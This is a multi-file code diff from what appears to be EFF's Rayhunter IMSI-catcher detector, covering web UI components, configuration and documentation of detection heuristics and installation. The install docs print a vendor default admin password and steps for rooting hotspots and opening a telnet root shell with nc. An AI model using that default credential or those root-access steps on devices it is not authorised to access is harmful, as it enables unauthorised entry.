|
||||
{/each}
|
||||
</tbody>
|
||||
</table>
|
||||
{:else}
|
||||
<!--For smaller screens we use cards-->
|
||||
<div class="flex flex-col gap-4">
|
||||
{#each entries as entry}
|
||||
<Card {entry} current={false} {server_is_recording} {manager} />
|
||||
<table class="hidden table-auto text-left lg:table">
|
||||
<thead>
|
||||
<tr class="bg-gray-100 drop-shadow">
|
||||
<th class="p-2" scope="col">ID</th>
|
||||
<th class="p-2" scope="col">Started</th>
|
||||
<th class="p-2" scope="col">Last Message</th>
|
||||
<th class="p-2" scope="col">Size</th>
|
||||
<th class="p-2" scope="col">Download</th>
|
||||
<th class="p-2" scope="col">Analysis</th>
|
||||
<th class="p-2" scope="col"></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#each entries as entry, i}
|
||||
<TableRow {entry} current={false} {i} {manager} />
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
</tbody>
|
||||
</table>
|
||||
<!--For smaller screens we use cards-->
|
||||
<div class="lg:hidden flex flex-col gap-4">
|
||||
{#each entries as entry}
|
||||
<Card {entry} current={false} {server_is_recording} {manager} />
|
||||
{/each}
|
||||
</div>
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
// stores/breakpoint.ts
|
||||
import { readable, type Readable } from 'svelte/store';
|
||||
import { breakpoints } from '../../theme';
|
||||
|
||||
type Breakpoint = keyof typeof breakpoints;
|
||||
|
||||
// Store that tracks if a specific breakpoint matches
|
||||
export function createBreakpointStore(breakpoint: Breakpoint): Readable<boolean> {
|
||||
return readable<boolean>(false, (set) => {
|
||||
const width = breakpoints[breakpoint];
|
||||
const mediaQuery = window.matchMedia(`(min-width: ${width})`);
|
||||
|
||||
// Set initial value
|
||||
set(mediaQuery.matches);
|
||||
|
||||
// Update on change
|
||||
const handler = (e: MediaQueryListEvent) => set(e.matches);
|
||||
mediaQuery.addEventListener('change', handler);
|
||||
|
||||
// Cleanup
|
||||
return () => mediaQuery.removeEventListener('change', handler);
|
||||
});
|
||||
}
|
||||
|
||||
// Create stores for each breakpoint
|
||||
export const screenIsSmUp: Readable<boolean> = createBreakpointStore('sm');
|
||||
export const screenIsMdUp: Readable<boolean> = createBreakpointStore('md');
|
||||
export const screenIsLgUp: Readable<boolean> = createBreakpointStore('lg');
|
||||
export const screenIsXlUp: Readable<boolean> = createBreakpointStore('xl');
|
||||
@@ -12,17 +12,11 @@ export interface AnalyzerConfig {
|
||||
test_analyzer: boolean;
|
||||
}
|
||||
|
||||
export enum enabled_notifications {
|
||||
Warning = 'Warning',
|
||||
LowBattery = 'LowBattery',
|
||||
}
|
||||
|
||||
export interface Config {
|
||||
ui_level: number;
|
||||
colorblind_mode: boolean;
|
||||
key_input_mode: number;
|
||||
ntfy_url: string;
|
||||
enabled_notifications: enabled_notifications[];
|
||||
analyzers: AnalyzerConfig;
|
||||
}
|
||||
|
||||
|
||||
@@ -14,7 +14,6 @@
|
||||
|
||||
let manager: AnalysisManager = new AnalysisManager();
|
||||
let loaded = $state(false);
|
||||
let filter_threshold: boolean = $state(false);
|
||||
let entries: ManifestEntry[] = $state([]);
|
||||
let current_entry: ManifestEntry | undefined = $state(undefined);
|
||||
let system_stats: SystemStats | undefined = $state(undefined);
|
||||
@@ -31,10 +30,7 @@
|
||||
await manager.update();
|
||||
let new_manifest = await get_manifest();
|
||||
await new_manifest.set_analysis_status(manager);
|
||||
entries = filter_threshold
|
||||
? new_manifest.entries.filter((e) => e.get_num_warnings())
|
||||
: new_manifest.entries;
|
||||
|
||||
entries = new_manifest.entries;
|
||||
current_entry = new_manifest.current_entry;
|
||||
|
||||
system_stats = await get_system_stats();
|
||||
@@ -230,23 +226,7 @@
|
||||
<SystemStatsTable stats={system_stats!} />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<div class="flex flex-row gap-2">
|
||||
<div class="text-xl flex-1">History</div>
|
||||
<div class="flex flex-row items-center gap-2 px-3">
|
||||
<label
|
||||
for="filter_threshold"
|
||||
class="block text-md font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Filter for Warnings
|
||||
</label>
|
||||
<input
|
||||
type="checkbox"
|
||||
id="filter_threshold"
|
||||
bind:checked={filter_threshold}
|
||||
class="px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<span class="text-xl">History</span>
|
||||
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
|
||||
</div>
|
||||
<DeleteAllButton />
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
/** These are the default Tailwind CSS breakpoints.
|
||||
* We're defining them here so they can be referenced
|
||||
* programmatically in other parts of the application.
|
||||
*/
|
||||
export const breakpoints = {
|
||||
sm: '640px',
|
||||
md: '768px',
|
||||
lg: '1024px',
|
||||
xl: '1280px',
|
||||
'2xl': '1536px',
|
||||
} as const;
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 218 KiB |
@@ -1,5 +1,4 @@
|
||||
import type { Config } from 'tailwindcss';
|
||||
import { breakpoints } from './src/theme';
|
||||
|
||||
export default {
|
||||
content: ['./src/**/*.{html,js,svelte,ts}'],
|
||||
@@ -11,7 +10,6 @@ export default {
|
||||
'rayhunter-dark-blue': '#3f3da0',
|
||||
'rayhunter-green': '#94ea18',
|
||||
},
|
||||
screens: breakpoints,
|
||||
},
|
||||
},
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
Vendored
+2
-4
@@ -23,9 +23,7 @@ ui_level = 1
|
||||
key_input_mode = 0
|
||||
|
||||
# If set, attempts to send a notification to the url when a new warning is triggered
|
||||
ntfy_url = ""
|
||||
# What notification types to enable. Does nothing if the above ntfy_url is not set.
|
||||
enabled_notifications = ["Warning", "LowBattery"]
|
||||
# ntfy_url =
|
||||
|
||||
# Analyzer Configuration
|
||||
# Enable/disable specific IMSI catcher detection heuristics
|
||||
@@ -37,4 +35,4 @@ lte_sib6_and_7_downgrade = true
|
||||
null_cipher = true
|
||||
nas_null_cipher = true
|
||||
incomplete_sib = true
|
||||
test_analyzer = false
|
||||
test_analyzer = false
|
||||
@@ -1,3 +1,3 @@
|
||||
# How we analyze a capture
|
||||
|
||||
Teams of highly trained squirrels. Video coming soon!
|
||||
Teams of highly trained squirrles. Video coming soon!
|
||||
+8
-11
@@ -7,17 +7,14 @@ Rayhunter can be configured through web user interface or by editing `/data/rayh
|
||||
Through web UI you can set:
|
||||
- **Device UI Level**, which defines what Rayhunter shows on device's built-in screen. *Device UI Level* could be:
|
||||
- *Invisible mode*: Rayhunter does not show anything on the built-in screen
|
||||
- *Subtle mode (colored line)*: Rayhunter shows green line if there are no warnings, red line if there are warnings (warnings could be checked through web UI) and white line if Rayhunter is not recording.
|
||||
- *Demo mode (orca gif)*, which shows image of orcas *and* colored line.
|
||||
- *Subtle mode (colored line)*: Rayhunter shows green line if there are no warnings, red line if there are warnings (warnings could be checked through web UI) and white line if Rayhunter is not recording
|
||||
- *Demo mode (orca gif)*, which shows image of orca fish *and* colored line
|
||||
- *EFF logo*, which shows EFF logo and *and* colored line.
|
||||
- **Device Input Mode**, which defines behavior of built-in power button of the device. *Device Input Mode* could be:
|
||||
- *Disable button control*: built-in power button of the device is not used by Rayhunter.
|
||||
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
||||
- **Device Input Mode**, which defines behaviour of built-in power button of the device. *Device Input Mode* could be:
|
||||
- *Disable button control*: built-in power button of the device is not used by Rayhunter;
|
||||
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediatelly restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
||||
- **ntfy URL for Sending Notifications**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
|
||||
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
|
||||
- **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
|
||||
- **Enabled Notification Types** allows enabling or disabling the following types of notifications:
|
||||
- *Warnings*, which will alert when a heuristic is triggered. Alerts will be sent at most once every five minutes.
|
||||
- *Low Battery*, which will alert when the device's battery is low. Notifications may not be supported for all devices—you can check if your device is supported by looking at whether the battery level indicator is functioning on the System Information section of the Rayhunter UI.
|
||||
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behavior in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so a new release may reduce false positives in existing heuristics as well.
|
||||
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behaviour in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so new release may reduce false positives in existing heuristics as well.
|
||||
|
||||
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
|
||||
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on a GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
|
||||
|
||||
+1
-1
@@ -5,7 +5,7 @@
|
||||
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but that sim card does not have to be actively registered with a service plan. If you want to use the device as a hotspot in addition to a research device, or get [notifications](./configuration.md), an active plan would of course be necessary.
|
||||
|
||||
### How can I test that my device is working?
|
||||
You can enable the `Test Heuristic` under `Analyzer Heuristic Settings` in the config section on your web dashboard. This will cause an alert to trigger every time your device sees a cell tower, you might need to reboot your device or move around a bit to get this one to trigger, but it will be very noisy once it does. People have also tested it by building IMSI catchers at home, but we don't recommend that, since it violates FCC regulations and will probably upset your neighbors.
|
||||
You can enable the `Test Heuristic` under `Analyzer Heuristic Settings` in the config section on your web dashboard. This will cause an alert to trigger every time your device sees a cell tower, you might need to reboot your device or move around a bit to get this one to trigger, but it will be very noisey once it does. People have also tested it by building IMSI catchers at home, but we don't reccomend that, since it violates FCC regulations and will probably upset your neighbors.
|
||||
|
||||
<a name="red"></a>
|
||||
|
||||
|
||||
+12
-12
@@ -6,7 +6,7 @@ Rayhunter includes several analyzers to detect potential IMSI catcher activity.
|
||||
|
||||
### IMSI Requested (v3)
|
||||
|
||||
This analyzer tests whether the eNodeB sends an IMSI or IMEI Identity Request NAS message under suspicious .
|
||||
This analyser tests whether the eNodeB sends an IMSI or IMEI Identity Request NAS message under suspicous .
|
||||
|
||||
Mobile networks primarily request IMSI or IMEI from a mobile device during initial network attachment or when the network cannot identify the mobile device by its temporary identification (TMSI - *Temporary Mobile Subscriber Identity* or GUTI - *Globally Unique Temporary Identifier* in 4G/5G terminology).
|
||||
|
||||
@@ -21,9 +21,9 @@ What we consider suspicious is the following chain of events:
|
||||
* Phone connects to a new tower.
|
||||
* Tower asks for phones identity (IMEI or IMSI.)
|
||||
* Authentication does *NOT* happen.
|
||||
* Tower requests phone to disconnect.
|
||||
* Tower requests phoen to disconnect.
|
||||
|
||||
Looking for this chain of events is much less prone to false positives than naively looking for any time the IMSI/IMEI is sent. We do still sometimes get false positives when users are in an airplane that is coming in for a landing however. This is likely due to having been disconnected for a while and then being over towers that are not able to route to your home network, but we are still researching.
|
||||
Looking for this chain of events is much less prone to false positives than naively looking for any time the IMSI/IMEI is sent. We do still sometimes get false positives when users are in an airplane that is coming in for a landing however. This is likely do to having been disconnected for a while and then being over towers that are not able to route to your home network, but we are still researching.
|
||||
|
||||
This is the attack used by commercial IMSI catchers used by law enforcement.
|
||||
|
||||
@@ -36,43 +36,43 @@ This heuristic will also issue a notification every time your identity is sent t
|
||||
|
||||
### Connection Release/Redirected Carrier 2G Downgrade
|
||||
|
||||
This analyzer tests if a base station releases your device's connection and redirects your device to a 2G base station. This heuristic is useful, because some IMSI catchers may operate in a such way that they downgrade connection to 2G where they can intercept the communication (by performing man-in-the-middle attack).
|
||||
This analyser tests if a base station releases your device's connection and redirects your device to a 2G base station. This heuristic is useful, because some IMSI catchers may operate in a such way that they downgrade connection to 2G where they can intercept the communication (by performing man-in-the-middle attack).
|
||||
|
||||
|
||||
### LTE SIB6/7 Downgrade
|
||||
|
||||
This analyzer tests if LTE base station is broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
|
||||
This analyser tests if LTE base station is broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
|
||||
|
||||
SIB (*System Information Block*) Type 6 and 7 are specific types of broadcast messages sent by the base station (eNodeB in 4G networks) to mobile devices. They contain essential radio-related configuration parameters to help mobile device perform cell reselection.
|
||||
|
||||
This attack exploits the fact that SIB broadcast messages are not encrypted or authenticated. This allows them to pretend to be a legitimate cell by broadcasting fake system information in order to force mobile devices to downgrade from more secure 4G (LTE) to less secure 2G (GSM) network and then steal IMSI and/or perform man-in-the-middle attack. That is why this is also called a downgrade attack.
|
||||
|
||||
SIB6 is used for cell reselection to CDMA2000 systems which are not supported by many modern mobile phones, and SIB7 Provides the mobile device with information to perform cell reselection to GSM/EDGE networks. Therefore SIB6 messages are quite rare, while malformed SIB7 messages are much more frequent in practice.
|
||||
SIB6 is used for cell reselecion to CDMA2000 systems which are not supported by many modern mobile phones, and SIB7 Provides the mobile device with information to perform cell reselection to GSM/EDGE networks. Therefore SIB6 messages are quite rare, while malformed SIB7 messages are much more frequent in practice.
|
||||
|
||||
This heuristic is the most useful in the United States or other countries where there are no more operating 2G base stations. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country. In countries where 2G is still in service (such as most of EU), this heuristic may trigger false positives. In that case you should consider disabling it. However this heuristic has been vastly improved to reduce false positive warnings and new tests in European networks show that false positives are vastly reduced.
|
||||
This heuristic is the most useful in the United States or other countries where there are no more operating 2G base stations. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country. In countries where 2G is still in service (such as most of EU), this heuristics may trigger false positives. In that case you should consider disabling it. However this heuristics has been vastly improved to reduce false positive warnings and new tests in European networks show that false positives are vastly reduced.
|
||||
|
||||
### Null Cipher
|
||||
|
||||
This analyzer tests whether the cell suggests using a null cipher (EEA0) in the RRC layer. That means that encryption between your mobile device and base station is turned off.
|
||||
This analyser tests whether the cell suggests using a null cipher (EEA0) in the RRC layer. That means that encryption between your mobile device and base station is turned off.
|
||||
|
||||
Normally this should never happen, because null cipher is used almost exclusively for testing and debugging in labs or in controlled environments. Sometimes null cipher is used if encryption negotiation fails or isn’t supported (however in most networks this should not be the case). Also, some regulations allow unencrypted communications in **specific** emergency cases.
|
||||
|
||||
The general rule is that null cipher should never be used in commercial deployments, except in very controlled conditions (e.g., test labs) or in a very specific regulatory-approved use cases.
|
||||
The general rule is, that null cipher should never be used in commercial deployments, except in very controlled conditions (e.g., test labs) or in a very specific regulatory-approved use cases.
|
||||
|
||||
On the other hand, IMSI catchers often use null cipher to avoid setting up secure contexts (because they lack valid keys) and/or to trick mobile device into using unencrypted links (which makes eavesdropping easier).
|
||||
|
||||
### NAS Null Cipher
|
||||
|
||||
This analyzer tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a mobile device has successfully authenticated with the MME (*Mobility Management Entity* - core network component that handles signaling and control) but still it shouldn't happen at all. This could be indicative of an attack though using SS7 (*Signaling System 7* - a set of telecommunication protocols used to set up and manage calls and other services) to get key material from the HLR (*Home Location Register* - a database in mobile telecommunications networks that stores subscriber information) of the mobile phone for a successful authentication.
|
||||
This analyser tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a mobile device has successfully authenticated with the MME (*Mobility Management Entity* - core network component that handles signaling and control) but still it shouldn't happen at all. This could be indicative of an attack though using SS7 (*Signaling System 7* - a set of telecommunication protocols used to set up and manage calls and other services) to get key material from the HLR (*Home Location Register* - a database in mobile telecommunications networks that stores subscriber information) of the mobile phone for a successful authentication.
|
||||
|
||||
It could also indicate an IMSI catcher which is connected to the mobile network MME and HLR through cooperation between government and telecom provider. Or it could be a false positive if the telecom provider is intending to use null ciphers (if encryption is illegal in some country, or they have some misconfiguration of the network), however this should be very rare case.
|
||||
|
||||
### Incomplete SIB
|
||||
|
||||
This analyzer tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.). A legitimate SIB1 message should contain timing information for at least 2 additional SIBs (SIB3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2 (i. e. some IMSI catchers send just SIB1 and *one additional* SIB).
|
||||
This analyser tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.). A legitimate SIB1 message should contain timing information for at least 2 additional SIBs (SIB3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2 (i. e. some IMSI catchers send just SIB1 and *one additional* SIB).
|
||||
|
||||
On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **IMSI Requested** detection it should be considered as a strong indicator of malicious activity.
|
||||
|
||||
### Test Analyzer
|
||||
|
||||
This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisy so we do not recommend leaving it on but if this alerts it means your Rayhunter device is working!
|
||||
This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisey so we do not reccomend leaving it on but if this alerts it means your Rayhunter device is working!
|
||||
@@ -0,0 +1,39 @@
|
||||
# Installing from the latest release (Windows)
|
||||
|
||||
Windows support in Rayhunter's installer is a work-in-progress. Depending on the device, the installation instructions differ.
|
||||
|
||||
## TP-Link
|
||||
|
||||
1. Insert a FAT-formatted SD card. This will be used to store all recordings.
|
||||
2. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on <http://192.168.0.1>.
|
||||
3. Download the latest release (must be at least 0.3.0) for windows-x86_64, and unpack the zipfile.
|
||||
4. Open PowerShell or CMD in that extracted folder, the installer: `./installer tplink`
|
||||
5. Follow the instructions on the screen, if there are any.
|
||||
|
||||
## Orbic
|
||||
|
||||
<div class=warning><strong>
|
||||
|
||||
[The Windows USB installer is known to be buggy](https://github.com/EFForg/rayhunter/issues/366). We strongly reccomend using the [Network-based installer](./orbic.md#the-network-installer).
|
||||
|
||||
</strong></div>
|
||||
|
||||
1. Connect the device to your computer using the provided USB cable.
|
||||
1. Install the [Zadig WinUSB driver installer](https://zadig.akeo.ie/).
|
||||
1. Open Zadig, click options->show all devices
|
||||
|
||||

|
||||
|
||||
1. Select 'RNDIS (Interface 0)'
|
||||
|
||||

|
||||
|
||||
1. Click 'install driver' and wait for it to finish.
|
||||
2. Download the latest `rayhunter-vX.X.X-windows-x86_64.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases). The version you download will have numbers instead of X
|
||||
3. Unzip `rayhunter-vX.X.X-windows-x86_64` .
|
||||
1. Open a powershell terminal by pressing Win+R and typing `powershell` and hitting enter.
|
||||
5. Type `cd ~\Downloads\rayhunter-v<x.x.x>-windows-x86_64` (**Replace <x.x.x> with the Rayhunter version you just unzipped**) and hit enter.
|
||||
5. Run the install script: `.\installer.exe orbic` and hit enter.
|
||||
- The device will restart multiple times over the next few minutes.
|
||||
- You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
|
||||
6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](./using-rayhunter.md#the-web-ui). You should also see a green line flash along the top of top the display on the device.
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
|
||||
|
||||
1. **For the TP-Link only,** insert a FAT-formatted SD card. This will be used to store all recordings.
|
||||
1. For the TP-Link only, insert a FAT-formatted SD card. This will be used to store all recordings.
|
||||
2. Download the latest `rayhunter-vX.X.X-PLATFORM.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) for your platform:
|
||||
- for Linux on x64 architecture: `linux-x64`
|
||||
- for Linux on ARM64 architecture: `linux-aarch64`
|
||||
@@ -18,55 +18,32 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
|
||||
cd ~/Downloads/rayhunter-vX.X.X-PLATFORM
|
||||
```
|
||||
|
||||
On Windows you can decompress using the file browser, then navigate to the
|
||||
folder that contains `installer.exe`, **hold Shift**, Right-Click inside the
|
||||
folder, then click "Open in PowerShell".
|
||||
4. Turn on your device by holding the power button on the front.
|
||||
|
||||
4. **Connect to your device.**
|
||||
* For the Orbic, connect the device using a USB-C cable.
|
||||
* Or connect to the network if using the network based installer, this is especially reccomended on Windows.
|
||||
* For TP-Link, connect to its network using either WiFi or USB Tethering.
|
||||
|
||||
First turn on your device by holding the power button on the front.
|
||||
5. Run the installer:
|
||||
|
||||
Then connect to the device using either WiFi or USB tethering.
|
||||
```bash
|
||||
# On MacOS, you must first remove the quarantine bit
|
||||
xattr -d com.apple.quarantine installer
|
||||
```
|
||||
Then run the installer:
|
||||
```bash
|
||||
./installer orbic
|
||||
# or: ./installer [orbic-network|tplink|tmobile|uz801|pinephone|wingtech]
|
||||
```
|
||||
|
||||
You know you are in the right network when you can access
|
||||
<http://192.168.1.1> (Orbic) or <http://192.168.0.1> (TP-Link) and see the
|
||||
hardware's own admin menu.
|
||||
The device will restart multiple times over the next few minutes.
|
||||
|
||||
5. **On MacOS only**, you have to run `xattr -d
|
||||
com.apple.quarantine installer` to allow execution of
|
||||
the binary.
|
||||
You will know it is done when you see terminal output that says `Testing Rayhunter... done`
|
||||
|
||||
6. **Run the installer.**
|
||||
|
||||
```bash
|
||||
# For Orbic:
|
||||
./installer orbic --admin-password 'mypassword'
|
||||
# Or install over USB if you want ADB and a root shell (not recommended for most users)
|
||||
./installer orbic-usb
|
||||
|
||||
# For TP-Link:
|
||||
./installer tplink
|
||||
```
|
||||
|
||||
* On Verizon Orbic, the password is the WiFi password.
|
||||
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
|
||||
* On Moxee-brand devices, check under the battery for the password.
|
||||
* You can reset the password by pressing the button under the back case until the unit restarts.
|
||||
|
||||
TP-Link does not require an `--admin-password` parameter.
|
||||
|
||||
For other devices, check `./installer --help` or the
|
||||
respective page in the sidebar under "Supported
|
||||
Devices."
|
||||
|
||||
7. The installer will eventually tell you it's done, and the device will reboot.
|
||||
|
||||
8. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
|
||||
6. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
* If you are having trouble installing Rayhunter and you're connecting to your device over USB, try using a different USB cable to connect the device to your computer. If you are using a USB hub, try using a different one or directly connecting the device to a USB port on your computer. A faulty USB connection can cause the Rayhunter installer to fail.
|
||||
|
||||
* You can test your device by enabling the test heuristic. This will be very noisy and fire an alert every time you see a new tower. Be sure to turn it off when you are done testing.
|
||||
|
||||
* On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
|
||||
|
||||
@@ -36,29 +36,21 @@ rustup target add x86_64-pc-windows-gnu
|
||||
Now you can root your device and install Rayhunter by running:
|
||||
|
||||
```sh
|
||||
# Build the daemon binary for local development (rustcrypto TLS backend, fast compilation)
|
||||
# WARNING: The rustcrypto library, though not known to be insecure, is less well
|
||||
# tested than its counterpart and could potentially have severe issues in
|
||||
# its cryptographic implementation. We therefore recommend using ring-tls in
|
||||
# production builds (see below)
|
||||
cargo build-daemon-firmware-devel
|
||||
# Profile can be changed to 'firmware-devel' when building for development.
|
||||
# Build time will decrease at the expense of binary size.
|
||||
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware
|
||||
|
||||
# To build it exactly like in CI (more mature ring TLS backend, slower compilation)
|
||||
# CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
|
||||
|
||||
# Build rootshell
|
||||
cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
|
||||
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
|
||||
|
||||
# Replace 'orbic' with your device type if different.
|
||||
# A list of possible values can be found with 'cargo run --bin installer help'.
|
||||
# Use FILE_RAYHUNTER_DAEMON to specify the daemon binary path when using development builds:
|
||||
FILE_RAYHUNTER_DAEMON=$PWD/target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon cargo run -p installer --bin installer orbic
|
||||
# A list possible values can be found with 'cargo run --bin installer help'.
|
||||
cargo run --bin installer orbic
|
||||
```
|
||||
|
||||
### If you're on Windows or can't run the install scripts
|
||||
|
||||
* Root your device on Windows using the instructions here: <https://xdaforums.com/t/resetting-verizon-orbic-speed-rc400l-firmware-flash-kajeet.4334899/#post-87855183>
|
||||
* Build the web UI using `cd daemon/web && npm install && npm run build`
|
||||
* Build the web UI using `cd bin/web && npm install && npm run build`
|
||||
* Push the scripts in `scripts/` to `/etc/init.d` on device and make a directory called `/data/rayhunter` using `adb shell` (and sshell for your root shell if you followed the steps above)
|
||||
* You also need to copy `config.toml.in` to `/data/rayhunter/config.toml`. Uncomment the `device` line and set the value to your device type if necessary.
|
||||
* Then run `./make.sh`, which will build the binary, push it over adb, and restart the device. Once it's restarted, Rayhunter should be running!
|
||||
|
||||
+3
-2
@@ -30,10 +30,11 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
|
||||
Connect to the hotspot's network using WiFi or USB tethering and run:
|
||||
|
||||
```sh
|
||||
./installer orbic-network --admin-password 'mypassword'
|
||||
./installer orbic-network
|
||||
```
|
||||
|
||||
The password (in place of `mypassword`) is under the battery.
|
||||
The installation will ask you to log into the admin UI using a custom URL. The
|
||||
password for that is under the battery.
|
||||
|
||||
## Obtaining a shell
|
||||
|
||||
|
||||
+18
-20
@@ -21,29 +21,27 @@ or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
|
||||
| Wifi 5Ghz | a/ac/ax |
|
||||
| Wifi 6 | 🮱 |
|
||||
|
||||
## Two kinds of installers
|
||||
## The Network Installer
|
||||
|
||||
The orbic's installation routine underwent many different changes:
|
||||
Since Rayhunter 0.6.0 there is an alternative, experimental installation
|
||||
procedure at `./installer orbic-network` that is supposed to eventually replace
|
||||
`./installer orbic`. It does not require any USB driver installation and works
|
||||
identically on Windows, Mac and Linux. From our testing it works much more
|
||||
reliably on Windows than `./installer orbic` does.
|
||||
|
||||
1. The ADB-based shellscript prior to version 0.3.0
|
||||
2. The Rust-based, ADB-based installer since version 0.3.0
|
||||
3. Then, starting with 0.6.0, an alternative installer `./installer
|
||||
orbic-network` that is supposed to work more reliably, can run over the
|
||||
Orbic's WiFi connection and without the need to manually install USB drivers
|
||||
on Windows.
|
||||
4. Starting with 0.8.0, `orbic-network` has been renamed to `orbic`, and the
|
||||
old `./installer orbic` is now called `./installer orbic-usb`.
|
||||
|
||||
It's possible that many tutorials out there still refer to some of the old
|
||||
installation routines.
|
||||
The drawback is that the device's admin password is required.
|
||||
|
||||
1. Connect to the Orbic's network via WiFi or USB tethering
|
||||
2. Run `./installer orbic-network`
|
||||
3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password.
|
||||
4. As soon as you're logged in, the installer will continue and reboot the device.
|
||||
|
||||
*note*: On Kajeet devices the default admin password is `$m@rt$p0tc0nf!g`, on most other orbic devices the default admin password is the same as the wifi password. If the password has been changed you can reset it by pressing the button under the back case until the unit restarts.
|
||||
|
||||
## Obtaining a shell
|
||||
|
||||
After running the installer, there will not be a rootshell and ADB will not be
|
||||
enabled. Instead you can use `./installer util orbic-start-telnet` and connect
|
||||
to the hotspot using `nc 192.168.1.1 24`. On Windows you might not have `nc`
|
||||
and will have to use WSL for that.
|
||||
After running through the installation procedure, you can obtain a root shell
|
||||
by running `adb shell` or `./installer util shell`. Then, inside of that shell
|
||||
you can run `/bin/rootshell` to obtain "fakeroot."
|
||||
|
||||
